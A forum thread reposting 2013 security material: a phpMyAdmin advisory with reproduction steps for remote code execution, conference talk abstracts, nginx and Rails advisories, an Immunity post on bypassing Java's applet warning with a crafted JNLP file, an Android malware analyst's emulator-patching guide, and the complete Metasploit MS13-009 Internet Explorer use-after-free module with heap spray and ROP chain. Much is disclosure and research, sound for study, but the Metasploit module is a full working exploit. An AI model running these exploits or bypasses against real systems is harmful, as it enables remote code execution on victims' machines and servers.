Nytro

[h=1]phpMyAdmin 3.5.8 and 4.0.0-RC2 - Multiple Vulnerabilities[/h] [waraxe-2013-SA#103] - Multiple Vulnerabilities in phpMyAdmin =============================================================================== Author: Janek Vind "waraxe" Date: 25. April 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-103.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. phpMyAdmin supports a wide range of operations with MySQL. http://www.phpmyadmin.net/home_page/index.php ############################################################################### 1. Remote code execution via preg_replace() in "libraries/mult_submits.inc.php" ############################################################################### Reason: 1. insufficient sanitization of user data before using in preg_replace Attack vectors: 1. user-supplied parameters "from_prefix" and "to_prefix" Preconditions: 1. logged in as valid PMA user 2. PHP version < 5.4.7 (Newer versions: Warning: preg_replace(): Null byte in regex) PMA security advisory: PMASA-2013-2 CVE id: CVE-2013-3238 Affected phpMyAdmin versions: 3.5.8 and 4.0.0-RC2 Result: PMA user is able to execute arbitrary PHP code on webserver Let's take a look at the source code: Php script "libraries/mult_submits.inc.php" line 426 (PMA version 3.5.8): ------------------------[ source code start ]---------------------------------- case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); $a_query = 'ALTER TABLE ' . PMA_backquote($selected[$i]) . ' RENAME ' . PMA_backquote($newtablename) ; // CHANGE PREFIX PATTERN $run_parts = true; break; case 'copy_tbl_change_prefix': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); $a_query = 'CREATE TABLE ' . PMA_backquote($newtablename) . ' SELECT * FROM ' . PMA_backquote($selected[$i]) ; // COPY TABLE AND CHANGE PREFIX PATTERN $run_parts = true; break; ------------------------[ source code end ]------------------------------------ We can see, that PHP variables "$from_prefix" and "$to_prefix" are used in preg_replace function without any sanitization. It appears, that those variables are coming from user submitted POST request as parameters "from_prefix" and "to_prefix". It is possible to inject e-modifier with terminating null byte via first parameter and php code via second parameter. In case of successful exploitation injected PHP code will be executed on PMA webserver. Tests: 1. Log in to PMA and select database: http://localhost/PMA/index.php?db=test&token=25a6ce9e288070bd28c3f9aebffad1b8 2. select one table from database by using checkbox and then select "Replace table prefix" from select control "With selected:". 3. We can see form named "Replace table prefix:" with two input fields. Type "/e%00" to the "From" field and "phpinfo()" to the "To" field. 4. Activate Tamper Data Firefox add-on: https://addons.mozilla.org/en-us/firefox/addon/tamper-data/ 5. Click "Submit", Tamper Data pops up, choose "Tamper". 6. Now we can modify POST request. Look for parameter "from_prefix". It should be "%2Fe%2500", remove "25", so that it becomes "%2Fe%00". Click "OK" and Firefox will send out manipulated POST request. 7. We are greeted by phpinfo function output - code execution is confirmed. PMA version 4.0.0-RC2 contains almost identical vulnerability: Php script "libraries/mult_submits.inc.php" line 482 (PMA version 4.0.0-RC2): ------------------------[ source code start ]---------------------------------- case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $_POST['from_prefix'] . "/", $_POST['to_prefix'], $current); $a_query = 'ALTER TABLE ' . PMA_Util::backquote($selected[$i]) . ' RENAME ' . PMA_Util::backquote($newtablename); // CHANGE PREFIX PATTERN $run_parts = true; break; case 'copy_tbl_change_prefix': $current = $selected[$i]; $newtablename = preg_replace("/^" . $_POST['from_prefix'] . "/", $_POST['to_prefix'], $current); $a_query = 'CREATE TABLE ' . PMA_Util::backquote($newtablename) . ' SELECT * FROM ' . PMA_Util::backquote($selected[$i]); // COPY TABLE AND CHANGE PREFIX PATTERN $run_parts = true; break; ------------------------[ source code end ]------------------------------------ ############################################################################ 2. Locally Saved SQL Dump File Multiple File Extension Remote Code Execution ############################################################################ Reason: 1. insecure names of locally saved dump files Attack vectors: 1. user-supplied POST parameter "filename_template" Preconditions: 1. logged in as valid PMA user 2. configuration setting "SaveDir" defined and pointed to directory, which is writable for php and directly accessible over web (by default "SaveDir" is empty and PMA is secure) 3. Apache webserver with unknown MIME for "sql" extension PMA security advisory: PMASA-2013-3 CVE id: CVE-2013-3239 Affected are PMA versions 3.5.8 and 4.0.0-RC2 There is a security weakness in a way, how PMA handles locally saved database dump files. It is possible, that saved dump file has multiple extensions and if Apache webserver does not know MIME type of "sql" extension (that's how it is by default), then for example "foobar.php.sql" file will be treated as php file. More information: http://httpd.apache.org/docs/2.2/mod/mod_mime.html section "Files with Multiple Extensions" http://www.acunetix.com/websitesecurity/upload-forms-threat/ section "Case 4: Double extensions (part 1)" Test: 1. activate export to local server, be sure, that directory is writable: $cfg['SaveDir'] = './'; 2. select database for test, insert row into table with included php code like "<?php phpinfo();?>" 3. try to export that database or table, you have now additional option: "Save on server in the directory ./" Confirm that option, let the format be as "SQL". "File name template" change to "@DATABASE () php" and click "Go" button. Server responds with "Dump has been saved to file ./test.php.sql." 4. Request created file with webbrowser: http://localhost/PMA/test.php.sql In case of success we can see output of phpinfo() function, which confirms remote code execution. ############################################################################### 3. Local File Inclusion in "export.php" ############################################################################### Reason: 1. insufficient sanitization of user data before using in include_once Attack vectors: 1. user-supplied POST parameter "what" Preconditions: 1. logged in as valid PMA user 2. PHP must be < 5.3.4 for null-byte attacks to work PMA security advisory: PMASA-2013-4 CVE id: CVE-2013-3240 Affected is PMA version 4.0.0-RC2 Php script "export.php" line 20: ------------------------[ source code start ]---------------------------------- foreach ($_POST as $one_post_param => $one_post_value) { $GLOBALS[$one_post_param] = $one_post_value; } PMA_Util::checkParameters(array('what', 'export_type')); // export class instance, not array of properties, as before $export_plugin = PMA_getPlugin( "export", $what, 'libraries/plugins/export/', array( 'export_type' => $export_type, 'single_table' => isset($single_table) ) ); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied parameter "what" is used as second argument for the function PMA_getPlugin(). Let's follow execution flow: Php script "libraries/plugin_interface.lib.php" line 20: ------------------------[ source code start ]---------------------------------- function PMA_getPlugin( $plugin_type, $plugin_format, $plugins_dir, $plugin_param = false ) { $GLOBALS['plugin_param'] = $plugin_param; $class_name = strtoupper($plugin_type[0]) . strtolower(substr($plugin_type, 1)) . strtoupper($plugin_format[0]) . strtolower(substr($plugin_format, 1)); $file = $class_name . ".class.php"; if (is_file($plugins_dir . $file)) { include_once $plugins_dir . $file; ------------------------[ source code end ]------------------------------------ As seen above, second argument "$plugin_format" is used in variable "$file" and after that in functions is_file() and include_once(). No sanitization is used against user submitted parameter "what", which leads to directory traversal and local file inclusion vulnerability. In case of older PHP version it may be possible to use null byte attack and include arbitrary files on server. ############################################################################### 4. $GLOBALS array overwrite in "export.php" ############################################################################### Reason: 1. insecure POST parameters importing Attack vectors: 1. user-supplied POST parameters Preconditions: 1. logged in as valid PMA user PMA security advisory: PMASA-2013-5 CVE id: CVE-2013-3241 Affected is PMA version 4.0.0-RC2 Php script "export.php" line 20: ------------------------[ source code start ]---------------------------------- foreach ($_POST as $one_post_param => $one_post_value) { $GLOBALS[$one_post_param] = $one_post_value; } PMA_Util::checkParameters(array('what', 'export_type')); ------------------------[ source code end ]------------------------------------ We can see, that arbitrary values in $GLOBALS array can be overwritten by submitting POST parameters. Such way of input data importing can be considered as very insecure and in specific situation it is possible to overwrite any variable in global scope. This can lead to many ways of exploitation. Below is presented one of the possibilities. Php script "export.php" line 59: ------------------------[ source code start ]---------------------------------- $onserver = false; $save_on_server = false; ... if ($quick_export) { $onserver = $_REQUEST['quick_export_onserver']; } else { $onserver = $_REQUEST['onserver']; } // Will we save dump on server? $save_on_server = ! empty($cfg['SaveDir']) && $onserver; ... // Open file on server if needed if ($save_on_server) { $save_filename = PMA_Util::userDir($cfg['SaveDir']) . preg_replace('@[/\\\\]@', '_', $filename); ... if (! $file_handle = @fopen($save_filename, 'w')) { $message = PMA_Message::error( ... /* If we saved on server, we have to close file now */ if ($save_on_server) { $write_result = @fwrite($file_handle, $dump_buffer); fclose($file_handle); ------------------------[ source code end ]------------------------------------ As seen above, when configuration setting "SaveDir" is set, then it is possible to save database dump to the PMA webserver. By default "SaveDir" is unset and this prevents possible security problems. As we can overwrite any variables in global scope, it is possible to set "SaveDir" to arbitrary value. This will lead to directory traversal vulnerability - attacker is able to save database dump to any directory in webserver, if only filesystem permissions allow that. Database dump can be with extension ".sql". If attacker can dump database with php code and tags in it, this content will be in dump file. If filename is something like "foobar.php.sql", then by default most Apache webserver installations will try to parse this dump file as php file, which can finally lead to the remote code execution vulnerability. Disclosure timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 16.04.2013 -> Sent email to developers 16.04.2013 -> First response email from developers 16.04.2013 -> Sent detailed information to developers 24.04.2013 -> New PMA versions and security advisories released 25.04.2013 -> Current advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe () yahoo com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ Sursa: phpMyAdmin 3.5.8 and 4.0.0-RC2 - Multiple Vulnerabilities

Hitb 2012 - Defibrilating Web Security Description: PRESENTATION ABSTRACT: Whether you are a consultant or a software engineer, you have probably realized by now that we're not really making a lot of progress on server-side web security. Consultants benefit from the resulting job security and developers want to focus on building awesome technology without spending a lot of time and energy building reusable security solutions, which are hard. Come and hear about the fallacies of the current approaches and a couple of ideas no how to address some of them. Among other things, this talk will introduce you to contextual runtime taint tracking system with PoCs in Java and Ruby. ABOUT MEDER KYDYRALIEV Meder has been working in the area of application security for nearly a decade. He's poked at, broken, and helped fix a lot of code businesses and parts of the Internet depends on (Struts2, JBoss Seam, Google Web Toolkit, and Ruby on Rails, to name a few). Some of the things that excite him include: karaoke, server-side security, kumys and making software security easier. Sursa: Hitb 2012 - Defibrilating Web Security

Hitb 2012 - Hackers The Movie: A Retrospective Description: PRESENTATION ABSTRACT: In this lecture, Don A. Bailey will take a look back at another great milestone in information security: the movie Hackers. In this retrospective, Don will analyze every "hack" implemented in the cult classic and demonstrate how in modern day these attacks are even more relevant, realistic, and cost effective. Don will discuss the exact technologies used in modern day versions of these exploits and what tactical requirements are no longer glass ceilings for attackers. Mr. Bailey will also provide demonstrations that show low cost and creative ways to bypass physical security controls. Using simple, modern, and sometimes even even rudimentary technology, demonstrations will show that no matter how complex a security control may be there is always a fast and effective bypass. Oh, and by the way... Hack the Planet. ABOUT DON BAILEY Don A. Bailey is an internationally respected security researcher known for breaking ground in the mobile and embedded security spaces. Don has given over thirty unique lectures on various advances in security technology over the last eight years, both around the world and within the United States. His research has been highlighted on news exchanges such as CNN, Reuters, NPR, BBC, FOX, and CBS. Don was recently featured in the IEEE Security & Privacy magazine for his recent work reverse engineering M2M systems such as vehicle security modules. Previously the Research Director for a prestigious security firm, Mr. Bailey recently founded the consulting and engineering organization Capitol Hill Consultants LLC. At CHC, Don focuses on government contracting, global defense-centric engagements, and mobile security consulting. Sursa: Hitb 2012 - Hackers The Movie: A Retrospective

Hitb 2012 - A. Barisani And D. Bianco - Practical Exploitation Of Embedded Systems Description: PRESENTATION ABSTRACT: For the 10th anniversary of HITB we keep it old school with an in-depth exploration of the reverse engineering and exploitation of embedded systems. We will cover hardware by showing how to identify and probe debugging and I/O ports on undocumented circuit board layouts. We will cover software by exploring the analysis, reverse engineer and binary patching techniques for obscure real time OSes and firmware images with real world examples. We are also going to address the post compromise art of debugging and patching running live kernels with custom backdoors or interception code. At least one Apple laptop embedded subsystem will be harmed during the course of the presentation. ABOUT ANDREA BARISANI Andrea Barisani is an internationally known security researcher. Since owning his first Commodore-64 he has never stopped studying new technologies, developing unconventional attack vectors and exploring what makes things tick...and break. His experiences focus on large-scale infrastructure administration and defense, forensic analysis, penetration testing and software development, with more than 10 years of professional experience in security consulting. Being an active member of the international Open Source and security community he contributed to several projects, books and open standards. He is now the founder and coordinator of the oCERT effort, the Open Source Computer Security Incident Response Team. He has been a speaker and trainer at BlackHat, CanSecWest, DEFCON, Hack In The Box, PacSec conferences among many others, speaking about TEMPEST attacks, SatNav hacking, 0-days, OS hardening and many other topics. ABOUT DANIELE BIANCO He began his professional career during his early years at university as system administrator and IT consultant for several scientific organizations. His interest for centralized management and software integration in Open Source environments has focused his work on design and development of suitable R&D infrastructure. One of his hobbies has always been playing with hardware and electronic devices. At the time being he is the resident Hardware Hacker for international consultancy Inverse Path where his research work focuses on embedded systems security, electronic devices protection and tamperproofing techniques. He presented at many IT security events and his works have been quoted by numerous popular media. Sursa: Hitb 2012 - A. Barisani And D. Bianco - Practical Exploitation Of Embedded Systems

Social Engineering – Art Of Human Brain Manipulation Description: Talk: SOCIAL ENGINEERING – Art of human brain manipulation Speaker: Muhammed Sherif Abstract: Social engineering is a common thing what we do among our friends, relatives etc.. .Its all about gaining information of a person ,Which sounds “not so bad” in REAL LIFE. But it can be much dangerous when it come to the cyberspace . Social Engineering is a divine art of manipulating the Human brains to reveal the confidential information which can be used to attack themselves.Its a trickery process for information gathering .The attacks like Pretexting,Web phishing,IVR (Interactive Voice Responses) or Phone phishing ,Baiting,Something for something,Piggybacking etc …. . Sursa: Social Engineering – Art Of Human Brain Manipulation

Android Forensics Description: Talk: Android Forensics Speaker: Nikhalesh Singh Bhadroia Android is currently the world’s most popular smartphone operating system it’s already over 72 percent of market. This kind of popularity traditionally draws the eye of security researchers and attackers alike. Android presents a number of challenges to forensic practitioners. so here i’am providing Forensic Techniques. Sursa: Android Forensics

Hacking IPv6 Networks Authored by Fernando Gont These are the slides for the "Hacking IPv6 Networks" security training course as given at BRUCON 2012. Download: http://packetstormsecurity.com/files/download/121415/fgont-brucon2012-hacking-ipv6-networks-training.pdf Sursa: Hacking IPv6 Networks ? Packet Storm

nginx Integer Overflow Authored by Safe3 | Site safe3.com.cn Qihoo 360 Web Security Research Team discovered a critical vulnerability in nginx. The vulnerability is caused by a integer overflow error within the Nginx ngx_http_close_connection function when r->count is less then 0 or more then 255, which could be exploited by remote attackers to compromise a vulnerable system via malicious http requests. Website: http://safe3.com.cn I. BACKGROUND --------------------- Nginx is an HTTP and reverse proxy server, as well as a mail proxy server, written by Igor Sysoev. For a long time, it has been running on many heavily loaded Russian sites including Yandex, Mail.Ru, VKontakte, and Rambler. According to Netcraft nginx served or proxied 12.96% busiest sites in April 2013. Here are some of the success stories: Netflix, Wordpress.com, FastMail.FM. II. DESCRIPTION --------------------- Qihoo 360 Web Security Research Team discovered a critical vulnerability in nginx. The vulnerability is caused by a int overflow error within the Nginx ngx_http_close_connection function when r->count is less then 0 or more then 255, which could be exploited by remote attackers to compromise a vulnerable system via malicious http requests. III. AFFECTED PRODUCTS --------------------------- Nginx all latest version IV. Exploits/PoCs --------------------------------------- In-depth technical analysis of the vulnerability and a fully functional remote code execution exploit are available through the safe3q@gmail.com In src\http\ngx_http_request_body.c ngx_http_discard_request_body function,we can make r->count++. V. VUPEN Threat Protection Program ----------------------------------- VI. SOLUTION ---------------- Validate the r->count input. VII. CREDIT -------------- This vulnerability was discovered by Safe3 of Qihoo 360. VIII. ABOUT Qihoo 360 --------------------------- Qihoo 360 is the leading provider of defensive and offensive web cloud security of China. IX. REFERENCES ---------------------- http://nginx.org/en/ Sursa: nginx Integer Overflow ? Packet Storm

Microsoft SQL Server and IBM DB2 data-type injection attacks In the http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3221 entry, what we meant is that CVE-2013-3221 is exclusively about the behavior of Ruby on Rails as discussed in the listed MLIST:[rubyonrails-security] 20130207 reference. If a reference is about a data-type injection impact in an application other than a Ruby on Rails application, it should not be mapped to this CVE. However, an applicable reference about interaction between Ruby on Rails and Microsoft SQL Server (or interaction between Ruby on Rails and IBM DB2) should be mapped to this CVE. (There might be a misinterpretation that CVE-2013-3221 is only about interaction with MySQL. http://twitter.com/dakull/statuses/326633931636084736 possibly suggests that, but we're bringing this up mostly because of a comment that someone else sent directly to MITRE.) Common patterns used in Ruby on Rails applications could allow an attacker to generate SQL that, when combined with some database server's typecasting code, generates queries that match incorrect records. Note: This is a code and best-practise advisory, there is no patch to apply or updated version to install. Databases Affected: MySQL, SQLServer and some configurations of DB2 Not affected: SQLite, PostgreSQL, Oracle Outline - ------- When comparing two values of differing types most databases will either generate an error or return 'false'. Other databases will attempt to convert those values to a common type to enable comparison. For example in MySQL comparing a string with an integer will cast the string into an integer. Given that any string which isn't an invalid integer will convert to 0, this could allow an attacker to bypass certain queries. If your application has XML or JSON parameter parsing enabled, an attacker will be able to generate queries like this unless you take care to typecast your input values. For example: User.where(:login_token=>params[:token]).first Could be made to generate the query: SELECT * FROM `users` WHERE `login_token` = 0 LIMIT 1; Which will match the first value which doesn't contain a valid integer. This vulnerability affects multiple programming languages, and multiple databases, be sure to audit your other applications to see if they suffer the same issues. Work Arounds - ------------ There are two options to avoid these problems. The first is to disable JSON and XML parameter parsing. Depending on the version of rails you use you will have to place one of the following snippets in an application initializer Rails 3.2, 3.1 and 3.0: ActionDispatch::ParamsParser::DEFAULT_PARSERS.delete(Mime::XML) ActionDispatch::ParamsParser::DEFAULT_PARSERS.delete(Mime::JSON) Rails 2.3: ActionController::Base.param_parsers.delete(Mime::XML) ActionController::Base.param_parsers.delete(Mime::JSON) If your application relies on accepting these formats you will have to take care to explicitly convert parameters to their intended types. For example: User.where(:login_token=>params[:token].to_s) Fixes - ----- Unfortunately it is not possible for ActiveRecord to automatically protect against all instances of this attack due to the API we expose. For example: User.where("login_token = ? AND expires_at > ?", params[:token], Time.now) Without parsing the SQL fragments it is not possible to determine what type params[:token] should be cast to. Future releases of Rails will contain changes to mitigate the risk of this class of vulnerability, however as long as this feature is still supported this risk will remain. Credits - ------- Thanks to joernchen of Phenoelit for reporting this to us and to Jonathan Rudenberg for helping to review the advisory. - -- Cheers, Koz References: http://twitter.com/dakull/statuses/326633931636084736 http://seclists.org/oss-sec/2013/q2/170 http://cve.mitre.org/cve/request_id.html Sursa: Microsoft SQL Server and IBM DB2 data-type injection attacks - CXSecurity.com

[h=1]CVE-2013-0027 Discovered affects Internet Explorer 6 to 10[/h]Posted by: FastFlux April 22, 2013 The latest exploit, CVE-2013-0027 affected almost all versions of Microsoft Internet Explorer and affected all windows operating systems including the major server editions too. Thirteen private vulnerabilities were recently patched in a security bulletin by Microsoft. The exposure, now branded as critical for Internet Explorer 6, 7, 8, 9 and 10, admitted remote code execution if a user attempted to visit a specially crafted web page using those versions of IE. The vulnarbility allowed an attacker to gain the same user privileged as the current users, which is triggered by an improper memory operation executed by IE when addressing the crafted HTML content. The exploit for MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free vulnerability has been released by Metasploit and is available on ExploitDb as well. Here is the code for this exploit: ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability in Microsoft Internet Explorer where a CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc relayout is performed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module ], 'References' => [ [ 'CVE', '2013-0025' ], [ 'MSB', 'MS13-009' ], [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 920, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 13 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # ROP chain generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_nops = [0x77c39f92].pack("V") * 11 # RETN rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) rop_payload << rop_nops rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN rop_payload << [0x77c39f92].pack("V") # RETN rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset rop_payload << code end return rop_payload end def get_exploit(my_target, cli) p = get_payload(my_target, cli) js = heap_spray(my_target, p) html = %Q| <!doctype html> <html> <head> <script> #{js} </script> <script> var data; var objArray = new Array(1150); setTimeout(function(){ document.body.style.whiteSpace = "pre-line"; CollectGarbage(); for (var i=0;i<1150;i++){ objArray[i] = document.createElement('div'); objArray[i].className = data += unescape("%u0c0c%u0c0c"); } setTimeout(function(){document.body.innerHTML = "boo"}, 100) }, 100) </script> </head> <body> <p> </p> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = get_exploit(my_target, cli) html = html.gsub(/^\t\t/, '') print_status "Sending HTML..." send_response(cli, html, {'Content-Type'=>'text/html'}) end end Sursa: CVE-2013-0027 Discovered affects Internet Explorer 6 to 10 | ZeroSecurity

[h=3]Yet Another Java Security Warning Bypass[/h]posted by: Nico Waisman Not so long ago we posted about a JavaSecurity Warning bypass that used a serialized applet instance. That bypass was fixed in Java 7 update 13 so we had to keep looking at new ways of defeating the warning pop-up that requires user interaction in order to run applets. We continued auditing the code that performed the checks when starting an applet and ended up arriving at the method “sun.plugin2.main.client.PluginMain.performSSVValidation(Plugin2Manager)” This method will end up calling some other methods in the com.sun.javaws.ui.SecureStaticVersioning class that will show us that annoying security warning pop up. But just take a quick look at the performSSVValidation method implementation: public static boolean performSSVValidation(Plugin2Manager paramPlugin2Manager) throws ExitException { boolean bool = Boolean.valueOf(paramPlugin2Manager. getParameter("__applet_ssv_validated")). booleanValue(); if (bool) return false; LaunchDesc localLaunchDesc = null; AppInfo localAppInfo = null; [...] // ... more code that calls com.sun.javaws.ui.SecureStaticVersioning to perform more checks [...] } What is that __applet_ssv_validated parameter?? Obviously this is an internal undocumented parameter and, as you can see, it turns out that if it is set to true, no checks are performed. The first thing we tried was to simply set that parameter to true in our evil applet, but it didn't work. While debugging we noticed that the parameter was not set on the applet despite our setting it to true. Basically sun.plugin2.main.server.MozillaPlugin.addParameter(String, String) is filtering the parameters: private void addParameter(String paramString1, String paramString2) { if ((paramString1 != null) && (paramString1.charAt(0) != '_') && (!paramString1.equals("PARAM"))) this.params.put(paramString1, paramString2); } But as you may know, Java provides another way of launching applets in a browser besides using the applet, object or embed tags. Java Web Start technology is what we can use. Now the applet description is provided by using a JNLP file and parameters can be set to the applet by using the <param> tag. We can see that when using Java Web Start, the performSSVValidation method is also called So lets try to launch an applet with Java Web Start and set the __applet_ssv_validated parameter to true with a JNLP file like this one: <?xml version="1.0" encoding="utf-8"?> <jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="applet_security_bypass.jnlp"> <information> <title>Applet Test JNLP</title> <vendor>demo</vendor> <description>basic applet test</description> <offline-allowed/> </information> <resources> <j2se version="1.7" href="http://java.sun.com/products/autodl/j2se" /> <jar href="basicApplet.jar" main="true" /> </resources> <applet-desc name="Demo Applet" main-class="Main" width="1" height="1"> <param name="__applet_ssv_validated" value="true"></param> </applet-desc> <update check="background"/> </jnlp> And by know you have already realized that this just works and parameters are not filtered. The Security Warning pop-up message is not displayed and our applet happily runs! Ironically on Tuesday 16th April, exactly while I was at the Infiltrate MasterClass teaching how to audit and exploit Java, Oracle released update 21 which fixed this bypass and a ton of others. The time investment for stealthily exploiting Java is increasing but finding bypasses like this makes it worth the time! Esteban Guillardoy Sursa: Immunity Products: Yet Another Java Security Warning Bypass

Changing the IMEI, Provider, Model, and Phone Number in the Android emulator Pincer I was having a look at the Pincer family of Android malware and came across some code designed to hinder analysis. From the decompilation of com/security/cert/a/a/c.class: String str1 = com.security.cert.b.b.b(paramContext); String str2 = com.security.cert.b.b.c(paramContext); String str3 = com.security.cert.b.b.d(paramContext); if(str3.toLowerCase().equals("android") || str1.equals("000000000000000") || str1.equals("012345678912345") || str2.equals("15555215554") || Build.MODEL.toLowerCase().equals("sdk") || Build.MODEL.toLowerCase().equals("generic")) At first glance, the application seems to be checking for generic values. The check against str2 is recognizable. It is the default phone number for the Android emulator. It is clear that the sample is also checking the model against the values sdk and generic. Having a look at com/security/cert/b/b.class to see what str1 and str3 are: public static String b(Context paramContext) { return ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId(); } public static String c(Context paramContext) { return ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number(); } public static String d(Context paramContext) { return ((TelephonyManager)paramContext.getSystemService("phone")).getNetworkOperatorName(); } The IMEI, phone number, network provider, and phone model are being checked against default emulator values. Crafty. I was running a generic AVD (Android Virtual Device) at the time and unfortunately got caught on all of these checks. Since compiling other people's large projects is something I avoid at all costs, I set out to patch these values in a hex editor. Here's how to change each one. Before editing any file, please make a backup! [h=4]IMEI[/h] Doing a quick grep of the android-sdk-linux/ folder reveals that, among a handful of other files, the two emulator binaries each contain only one occurrence of the default IMEI. /home/vrt/android-sdk-linux/tools/emulator-arm:1 /home/vrt/android-sdk-linux/tools/emulator-x86:1 These seem like a logical place to store the IMEI and since there is only one occurrence in each, it should be easy enough to edit and check the feedback. In any hex editor (GHex pictured) this value can be found between the strings +CGSN and +CUSD: Editing this value will change the AVD's IMEI on reboot. This process is detailed for Windows on the blogspot blooglog, which helped reassure me I was on the right track. [h=4]Network Provider[/h] Since the IMEI is in the emulator-arm binary, I tried blasting some of the other values in there as well. I began by adding the digits 0-9 into the first ten occurrences of the default network provider, Android. Luckily enough, the first occurrence of Android (at the time, Andr0id) is what is pulled as the network provider. You can see it edited to SrcFire in the following screenshot, sitting between 0.10.50 and info: [h=4]Model[/h] Since the model can change between AVD images, it is likely somewhere other than the binary. The Cobra Den's post on making changes to the Android emulator got me on the right track for finding it (as well as some other fields worth changing). The model name follows the label ro.product.model= in android-sdk-linux/platforms/[target platform]/images/system.img, making it very easy to spot: Note though, if you are loading from a snapshot, you will need to reload the AVD in order for these changes to take place. As well, if you are loading with a different system image (indicated by the -system option on emulator start), you will need to edit that image. [h=4]Phone Number[/h] The last four digits of the device's phone number are the port number that the emulator's console is running on. Since Pincer checks for an entire phone number (default prefix 1555521 + default console port number 5554), this was enough to circumvent the anti-analysis techniques encountered. Attempting to start up the emulator with the option -port 4141 provided this helpful tidbit: ERROR: option -port must be followed by an even integer number between 5554 and 5584 This gives a range of 16 phone numbers to work with. While allowing evasion of the anti-analysis in Pincer, a more intelligent malware author would write a check for 1555521. After some mass replacements with sed, I realized my normal trial and error approach would yield only error for changing the phone number. It turns out that the phone number is stored on the SIM card. Since there is no actual SIM card, one is emulated. This emulated SIM is hard coded in the emulator-arm binary. The reason replacements for 1555521 failed is because SIM cards have a specification that does not store the MSISDN (Mobile Subscriber Integrated Services Digital Network-Number, AKA phone number) in plain text. Instead, each set of digits is swapped in some reverse nibbled endianness nightmare. At this point I feel it's necessary to again give acknowledgment to The Cobra Den, which has a method for making a lot of these fields configurable by patching the Java getter methods, and to the CodePainters blog which has a post on editing the SIM card serial number. I had come across the source file external/qemu/telephony/sim_card.c in the Android source code, but the CodePainters post is really what made it click that the MSISDN number would be in there, and that all of that would also be in the binary. As these things go, I found multiple very helpful things at the same time that all led me to the answer. A quick way to find the MSISDN is to search for %d%df%d in the binary (highlighted in red below). The corresponding source code is in external/qemu/telephony/sim_card.c on line 436 in the current repo. The following is the format string portion of that sprintf: 